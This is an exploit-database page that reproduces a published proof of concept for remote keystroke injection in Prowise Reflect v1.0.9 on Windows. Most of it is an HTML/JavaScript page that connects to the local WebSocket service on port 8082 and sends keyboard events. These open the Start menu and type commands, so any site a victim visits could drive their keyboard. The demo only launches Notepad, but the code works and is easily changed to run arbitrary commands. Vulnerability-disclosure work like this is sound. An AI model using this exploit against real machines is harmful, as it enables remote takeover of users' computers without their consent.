Lucene search
K

Prowise Reflect v1.0.9 - Remote Keystroke Injection Exploit

🗓️ 02 Mar 2022 00:00:00Reported by Rik LutzType 
zdt
 zdt
🔗 0day.today👁 290 Views

Prowise Reflect v1.0.9 Remote Keystroke Injectio

Code
# Exploit Title: Prowise Reflect v1.0.9 - Remote Keystroke Injection
# Exploit Author: Rik Lutz
# Vendor Homepage: https://www.prowise.com/
# Version: V1.0.9
# Tested on: Windows 10

# Prowise Reflect software version 1.0.9 for Windows is vulnerable to a remote keystroke injection. 
# Much like how a rubber ducky attack works but this works either over the network (when port 8082 is exposed),
# or by visiting a malicious website. This POC contains the malicious webpage.
# Steps:
# 1. Start Prowise reflect
# 2. Try to connect to a reflect server e.q. ygm7u6od
# 3. When it is connecting click exploit
#   - Start menu will open, types notepad.exe and types hello world.

<!DOCTYPE HTML>

<html>
   <head>
      
<script type = "text/javascript">

function wait(ms){
	var start = new Date().getTime();
	var end = start;
	while(end < start + ms) {
		end = new Date().getTime();
	}
}

function WebSocketTest() {
	var StateConnecting = new Boolean(false);
	if ("WebSocket" in window) {               
		// Let us open a web socket
		var ws = new WebSocket("ws://localhost:8082");

		ws.onopen = function() {

			ws.send('{"event":"keyboard", "key":"super"}');		  
			wait(400);
			//character is slower
			// ws.send('{"event":"keyboard", "character":"notepad.exe"}'};
			
			// You can check for connecting state by sending {"event":"setupRTCConnection", "remoteName":"a"} if the response is {"event":"streamAvailable"} getIsConnecting == true
			var exploitcode = "notepad.exe"
			for (let i = 0; i < exploitcode.length; i++) {
				ws.send('{"event":"keyboard", "key":"' + exploitcode[i] + '"}');
			} 
			
			wait(300);
			ws.send('{"event":"keyboard", "key":"enter"}');
			wait(2000);
			exploitcode = "Hello world!"
			
			for (let i = 0; i < exploitcode.length; i++) {
				ws.send('{"event":"keyboard", "key":"' + exploitcode[i] + '"}');
			} 
			wait(200);
		};

		ws.onmessage = function (evt) { 
			var received_msg = evt.data;              
		};

		ws.onclose = function() { 

			// websocket is closed.
			alert("Connection is closed..."); 
		};
	} else {
		// The browser doesn't support WebSocket
		alert("WebSocket NOT supported by your Browser!");
	}
}
</script>
		
   </head>
   
   <body>
      <div id = "sse">
         <a href = "javascript:WebSocketTest()">Exploit!</a>
      </div>
      
   </body>
</html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Mar 2022 00:00Current
0.3Low risk
Vulners AI Score0.3
290